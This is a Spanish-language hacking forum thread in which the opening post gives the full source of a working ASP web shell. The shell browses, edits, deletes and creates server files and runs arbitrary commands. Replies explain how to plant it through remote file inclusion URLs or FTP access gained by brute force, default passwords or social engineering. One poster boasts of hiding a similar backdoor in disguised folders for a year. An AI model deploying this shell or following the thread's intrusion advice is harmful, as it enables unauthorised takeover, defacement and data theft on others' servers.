Test Foro de elhacker.net SMF 2.1

Seguridad Informática => Hacking => Bugs y Exploits => Mensaje iniciado por: Morris en 8 Febrero 2005, 04:13 AM

Título: Mi Primer ASP Shell
Publicado por: Morris en 8 Febrero 2005, 04:13 AM
Pues vamos al grano... no encontré un buen shell en ASP y decidí hacer uno y de paso practicar mi ASP.
[broma]
(creo que me tardé más en escribir MORRIS con "#" para firmarlo que en hacer el código, jajajaja)
[/broma]

Explota malas configuraciones del IIS.

Espero comentarios, sugerencias, mejoras, errores y testeos.

Morris

Código (asp) [Seleccionar]

<%
Propiedad = "www.elhacker.net"

' Este shell servirá en servidores con una mala configuración si el servidor NO ES vulnerable MANDARA ERRORES
' Esta herramienta ha sido creada para ayudar a los administradores a probar la configuración de su IIS
' NO ME HAGO RESPONSABLE POR EL MAL USO QUE SE LE DE A ESTA HERRAMIENTA
' Cualquier comentario y mejora se agradecerá morris@elhacker.net
' Este material es educacional y se debe de usar de la misma forma
' Si encuentras un servidor vulnerable que no sea tuyo, avisa al administrador. El te lo agradecerá.

' http://foro.elhacker.net/index.php/topic,56790.0.html
' ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### #####
' ##### ##### ##### ##### VISITANOS EN ##### ##### ##### #####
' ##### ##### ##### ##### FORO.elhacker.net ##### ##### ##### #####
' ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### #####

' Code by Morris

' ####       ####    #####    ######    ######    ##     ####
' ####      #####   #     #   ##    #   ##    #   ##    #
' ##  #    #   ##   #     #   ## ###    ## ###    ##     #####
' ##   #  #    ##   #     #   ##  #     ##  #     ##          #
' ##    #      ##    #####    ##   #    ##   #    ##     #####


ON ERROR RESUME NEXT
Archivo = "myshell.asp"
Accion = Request.QueryString("Accion")
Path = Request.QueryString("Path")
IF Path = "" THEN
Path = Server.MapPath(".")
END IF
PathFile = Request.QueryString("PathFile")

' Crea instancia del FileSystemObject
Set MyFileObject=Server.CreateObject("Scripting.FileSystemObject")
' Create el objeto Folder
Set MyFolder=MyFileObject.GetFolder(Path)
'Loop a través de los folders

FUNCTION MapURL(path)
ON ERROR RESUME NEXT
     dim rootPath, url

     'Convierte la ruta fisica por una virtual para abrir los archivos

     rootPath = Server.MapPath("/")
     url = Right(path, Len(path) - Len(rootPath))
     MapURL = Replace(url, "\", "/")

END FUNCTION

' RetVal = Shell("C:\WINDOWS\CALC.EXE", 1)   ' Run Calculator.
'response.Write(Path)
%>

<%
IF Propiedad = "" OR Propiedad <> "www.elhacker.net" THEN
Response.Write("<h1><font color=Red>Maldito lammer no borres la propiedad de este código -  <br>Propiedad www.elhacker.net - foro.elhacker.net</font></h1>")
Response.end
END IF
IF Accion = "Guardar" THEN

Set MyOutStream=MyFileObject.OpenTextFile(PathFile, 2, TRUE)
  MyOutStream.Write(Request.Form("texto"))
MyOutStream.Close
%>
La información ha sido guardada.
<br>
<a href="javascript:history.go(-2)">Regresar</a>
<%
END IF

IF Accion = "Ejecutar" THEN
On Error Resume Next
Dim Shell, Ejecutar
Set Shell = CreateObject("WScript.Shell")
Archivo = Request.QueryString("Archivo")
Set Ejecutar = Shell.Exec(Archivo)
Do While Ejecutar.Status = 0
     WScript.Sleep 100
Loop
WScript.Echo Ejecutar.Status
Response.Write("done")
END IF

IF Accion = "Nuevo" THEN
Archivo = Request.QueryString("Archivo")
IF Archivo = "" THEN
Archivo = "ArchivoNuevo.txt"
END IF

Set fso = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.CreateTextFile(PathFile & "\" & Archivo, True)
MyFile.WriteLine("This is a test.")
MyFile.Close
END IF

IF Accion = "Borrar" THEN
Set fso = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.GetFile(PathFile)
MyFile.Delete
END IF

IF Accion = "Editar" THEN%>

<form action="<%=Archivo%>?Accion=Guardar&PathFile=<%=PathFile%>" method="post">
<textarea name="texto" cols=100 rows=25>
<%
Set MyTextFile = MyFileObject.OpenTextFile(PathFile)
WHILE NOT MyTextFile.AtEndOfStream
Response.Write( Server.HTMLEncode(MyTextFile.ReadLine) & Chr(10))
WEND
MyTextFile.Close
%>
</textarea>
<BR>
<input type=submit value="Guardar">
</form>


<%
Response.end
END IF
%>
<HTML>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#000000" VLINK="#000000">
<p><BR>
    <B>ASPShell by Morris - Version 1.0 - <a href="http://www.elhacker.net">elhacker.net</a></B><BR>
</p>
<form action="<%=Archivo%>">
<input name="Accion" type="hidden" value="Ruta">
<input name="Path" type="text" id="Path" value="<%=Path%>" size="70">
<input type="submit" value="Ir">
</form>
<br>

<TABLE BORDER=0 CELLPADDING=3 CELLSPACING=0 width="100%">
<TR BGCOLOR="#000000">
<TD><FONT COLOR="#FFFFFF"><B>Nombre de Archivo:</B></FONT></TD>
<TD><FONT COLOR="#FFFFFF"><B>Acciones:</B></FONT></TD>
<TD><FONT COLOR="#FFFFFF"><B>Tamaño:</B></FONT></TD>
<TD><FONT COLOR="#FFFFFF"><B>Tipo de archivo:</B></FONT></TD>
<TD><FONT COLOR="#FFFFFF"><B>Fecha de creación:</B></FONT></TD>

<%
FOR EACH thing in MyFolder.SubFolders
ON ERROR RESUME NEXT
%>
<TR BGCOLOR="#F7F7E7">
<TD><A HREF="<%=Archivo%>?Path=<%=Path%>\<%=thing.Name%>">[ <%=thing.Name%> ]</A></TD>
<TD></TD>
<TD ALIGN=RIGHT><%=thing.Size%>bytes</TD>
<TD><%=thing.Type%></TD>
<TD><%=thing.DateCreated%></TD>
<%
NEXT
'Loop a través de los archivos
FOR EACH thing in MyFolder.Files
ON ERROR RESUME NEXT
url = MapURL(thing.path)
%>


<TR BGCOLOR="#F7F7E7">
<TD><A HREF="<%=Archivo%>?Path=<%=Path%>\<%=thing.Name%>&Accion=Editar"><%=thing.Name%></A></TD>
<TD><A HREF="<%=Archivo%>?Path=<%=Path%>&PathFile=<%=Path%>\<%=thing.Name%>&Accion=Borrar">Borar</A></TD>
<TD ALIGN=RIGHT><%=thing.Size%>bytes</TD>
<TD><%=thing.Type%></TD>
<TD><%=thing.DateCreated%></TD>
<%
NEXT
%>
</TABLE>


Total de directorios
<%
Response.Write(MyFolder.SubFolders.Count )
%>

Total de archivos
<%
Response.Write(MyFolder.Files.Count )
%>
<br><br>
<form name="form1" action="<%=Archivo%>">
<input name="Path" type="hidden" value="<%=Path%>">
<input name="PathFile" type="hidden" value="<%=Path%>">
<input name="Accion" type="hidden" value="Nuevo">
  <input name="Archivo" type="text" id="Archivo" value="Nombre Archivo.ext">
  <input name="Submit" type="submit" value="Nuevo Archivo">
</form>
<strong><font color="#FF0000">Lo más recomendable es subir un .bat y ejecutar ese archivo poniendo la ruta completa hasta el .bat </font></strong>
<form name="form1" action="<%=Archivo%>">
<input name="Path" type="hidden" value="<%=Path%>/archivo.bat">
<input name="PathFile" type="hidden" value="<%=Path%>">
<input name="Accion" type="hidden" value="Ejecutar">
  <input name="Archivo" type="text" id="Archivo" value="<%Path%>">
  <input name="Submit" type="submit" value="Ejecutar">
</form>

</BODY>
</HTML>

<%
Response.Write("Visitanos en foro.elhacker.net")
%>
Título: Re: Mi Primer ASP Shell
Publicado por: Natanael en 10 Abril 2005, 14:45 PM
Eso es lenguaje HTMl?
Como se usa?
Título: Re: Mi Primer ASP Shell
Publicado por: + enrique ZP en 10 Abril 2005, 17:19 PM
Cita de: Natanael en 10 Abril 2005, 14:45 PM
Eso es lenguaje HTMl?
Como se usa?


No no es HTML lee el titulo de el post es ASP y pues se usa como cualquier otra shell creo, la subes al servidore y ella te dice el resto.
Título: Re: Mi Primer ASP Shell
Publicado por: Morris en 11 Abril 2005, 17:51 PM
Sólo súbela al servidor y ejecútala vía web... si es vulnerable verás que funciona :P
Título: Re: Mi Primer ASP Shell
Publicado por: BenRu en 11 Abril 2005, 22:19 PM
Cita de: Morris en 11 Abril 2005, 17:51 PM
Sólo súbela al servidor y ejecútala vía web... si es vulnerable verás que funciona :P

Que quieres decir con esto?Como lo subo?
Título: Re: Mi Primer ASP Shell
Publicado por: TaU en 12 Abril 2005, 02:41 AM
CitarIF Propiedad = "" OR Propiedad <> "www.elhacker.net" THEN
Response.Write("<h1><font color=Red>Maldito lammer no borres la propiedad de este código -  <br>Propiedad www.elhacker.net - foro.elhacker.net</font></h1>")
Response.end

;D
Título: Re: Mi Primer ASP Shell
Publicado por: + enrique ZP en 12 Abril 2005, 02:43 AM
Cita de: Ruben Ruiz en 11 Abril 2005, 22:19 PM
Cita de: Morris en 11 Abril 2005, 17:51 PM
Sólo súbela al servidor y ejecútala vía web... si es vulnerable verás que funciona :P

Que quieres decir con esto?Como lo subo?


Lo que quiere decir es que te vallas a tu cliente FTP, y lo subas a la cuenta de tu host. Cuando lo hayas subido te vas a tu explorador escribes la url en donde esta localizada la shell y la ejecutas, y ella te va a dar instrucciones de como hacerlo creo.

Hasta Pronto
Título: Re: Mi Primer ASP Shell
Publicado por: dxr en 13 Abril 2005, 04:01 AM
Muy buen script Morris ;) nose si algun dia lo usare pero me a gustao :)
Título: Re: Mi Primer ASP Shell
Publicado por: Morris en 13 Abril 2005, 17:54 PM
Gracias Derek :P me haz alegrado el día :D

Efectivamente suban el ASP por FTP o copienlo en la carpeta www de la forma que se les ocurra, de ahí accesen por web

http://www.dominio.com/myshell.asp

Lo demás es intuitivo.
Título: Re: Mi Primer ASP Shell
Publicado por: track1 en 14 Julio 2006, 03:51 AM
Bueno ya voy entendiendo, veamos, copio el codigo, por cierto le debo poner extensión .asp, verdad?? luego la subo a mi ftp, pero como hago, mi ftp tiene user y pass, que deberia hacer?? y por ultimo voy y redirigo la web vulnerable agrgandole la direccion (page=xxx) de mi ftp. Es asi??  :-\
Título: Re: Mi Primer ASP Shell
Publicado por: Morris en 14 Julio 2006, 04:06 AM
Lo cipias, lo pegas en el notepad, lo guardas con extensión asp.

Para subirlo a alguna web necesitas utilizar algún bug o subirlo por ftp (necesitas un password o un bug)

Luego entras vía http y lo ejecutas por internet explorer.
Título: Re: Mi Primer ASP Shell
Publicado por: track1 en 14 Julio 2006, 17:35 PM
Hola, esto es lo que no entiendo:  Luego entras vía http y lo ejecutas por internet explorer.
Pero como? Por ejemplo ya tengo una  web con el bug  pagina=http://www.foro.elhacker.net ,  entonces para aprovechar el bug quedaria algo asi: http://www.xxxxx.com/index.asp?pais=xxx&pagina=http://www.foro.elhacker.net
entonces  si colocora el codigo de la shell  en la web del foro tendria que agregarle  la ubicacion de la shell y quedaria algo como esto:   http://www.xxxxx.com/index.asp?pais=xxx&pagina=http://www.foro.elhacker.net/myshell.asp
Estoy en lo correcto???
Título: Re: Mi Primer ASP Shell
Publicado por: whaky en 15 Julio 2006, 00:28 AM
www.paginavulnerable.com/index.asp?pais=xxx&pagina=http://www.tudominiocontushell.com/shell.asp

asi quedaria
Título: Re: Mi Primer ASP Shell
Publicado por: track1 en 15 Julio 2006, 03:36 AM
Gracias Whaky, ahora solo no entiendo como podria hacer una cuenta ftp y poderla usar para tener ahi la shell, me refiero a que las cuentas ftp piden user y pass y no entiendo como podria hacer.
Me refiero que al link que se le agrega a la web vulnerable es por ejemplo asi: ftp://ftp.web.com pero cuando se quiera acceder ahi va a pedir el loggin. Como se haria??
Título: Re: Mi Primer ASP Shell
Publicado por: Morris en 18 Julio 2006, 05:22 AM
Fuerza bruta.
Password default.
Bug en FTP
Robando el user y pwd mediante ingeniería social.
Con algún bug de upload que te permita subir archivos a la web.
Título: Re: Mi Primer ASP Shell
Publicado por: Man-In-the-Middle en 18 Julio 2006, 18:22 PM
Muy curro, Morris, como el que me pasastes hace un tiempo, el tema para que sirve, pues te curras, una web, te camuflas por ahi, por temp, que se io y tienes un back

ejemplo
http://www.fgfggfg.com/_vti_tmp/_vti_log/_vti_txt/_vti_root/xxxxfacer.php

este era en php,  pues me cree _vti_tmp/_vti_log/_vti_txt/_vti_root, para esconderlo bien y wuallaaa , por lo menos un año para encontrarme , Thnks Morris

Off Topic/  OLD TOPIC!!
Título: Re: Mi Primer ASP Shell
Publicado por: AdReNaLiNe en 2 Agosto 2006, 13:00 PM
eso del ftp....tp lo entiendo yo  :-[...como lo hago, me creo una cuenta ftp por ejemplo en "miarroba" y subo a "mi pagina web" ese codigo en .asp a traves de ftp o como sea no? la cuestion es tener subido en mi pagina ese codigo para poder usarlo, ahora pongo la direccion de mi pagina de forma k abra el .asp
"www.mipagina.com/codigo.asp" y asi se abriria el codigo en la shell no???

se supone k ese codigo es un xploit (corriganme por favor si me ekivoco) y k introduciendolo en otro codigo web pues me metere como administrador y podre hacer lo k kiera en la web, para hacer tal cosa tendria k poner:

www.paginaahacker.com/index.asp?pais=xxx&pagina=http://www.mipagina.com/codigo.asp

se supone k si sale bien y ese xploit es asi como se usa (k nose mucho de exploits...nose de k tipo es este ni nada   :P) me meteria directamente en la web como administrador???


Título: Re: Mi Primer ASP Shell
Publicado por: hackpsycho en 2 Agosto 2006, 18:23 PM
bueno yo tambien tengo una dudita, el ASP, ya lo subi, a un ftp

http://psychito.webcindario.com/index.asp

ese es estoy en lo correcto como lo ise??

Ahora como lo ago funcionar, o que ondas
Título: Re: Mi Primer ASP Shell
Publicado por: sirdarckcat en 3 Agosto 2006, 04:32 AM
investiga sobre bugs de RFI.. y su explotacion.

Saludos!!
Título: Re: Mi Primer ASP Shell
Publicado por: AdReNaLiNe en 3 Agosto 2006, 15:12 PM
Todo lo k sea defacears webs...son metodos RFI?? (sql, etc...)

Creo k esta pregunta podria llegar al grado de estupida...pero esk necesito aclarar esa idea  ;D
Título: Re: Mi Primer ASP Shell
Publicado por: hackpsycho en 3 Agosto 2006, 20:22 PM
Cita de: Sdc en  3 Agosto 2006, 04:32 AM
investiga sobre bugs de RFI.. y su explotacion.

Saludos!!

Si se que son los RFI son para PHP, verdad?? , bueno por lo k veo estos son ASP?, es lo mismo?
Título: Re: Mi Primer ASP Shell
Publicado por: sirdarckcat en 4 Agosto 2006, 02:18 AM
si tambien para ASP, JSP, PHP, CFM, etc..

Saludos!!
Título: Re: Mi Primer ASP Shell
Publicado por: jac123 en 20 Mayo 2012, 20:49 PM
Hola ,  Como veo todos tienen dudas .

Pues lo suben a su servidor en .php o .html . Aqui un ejemplo de mi servidor que no funciona :

http://heddos.com/hacking.html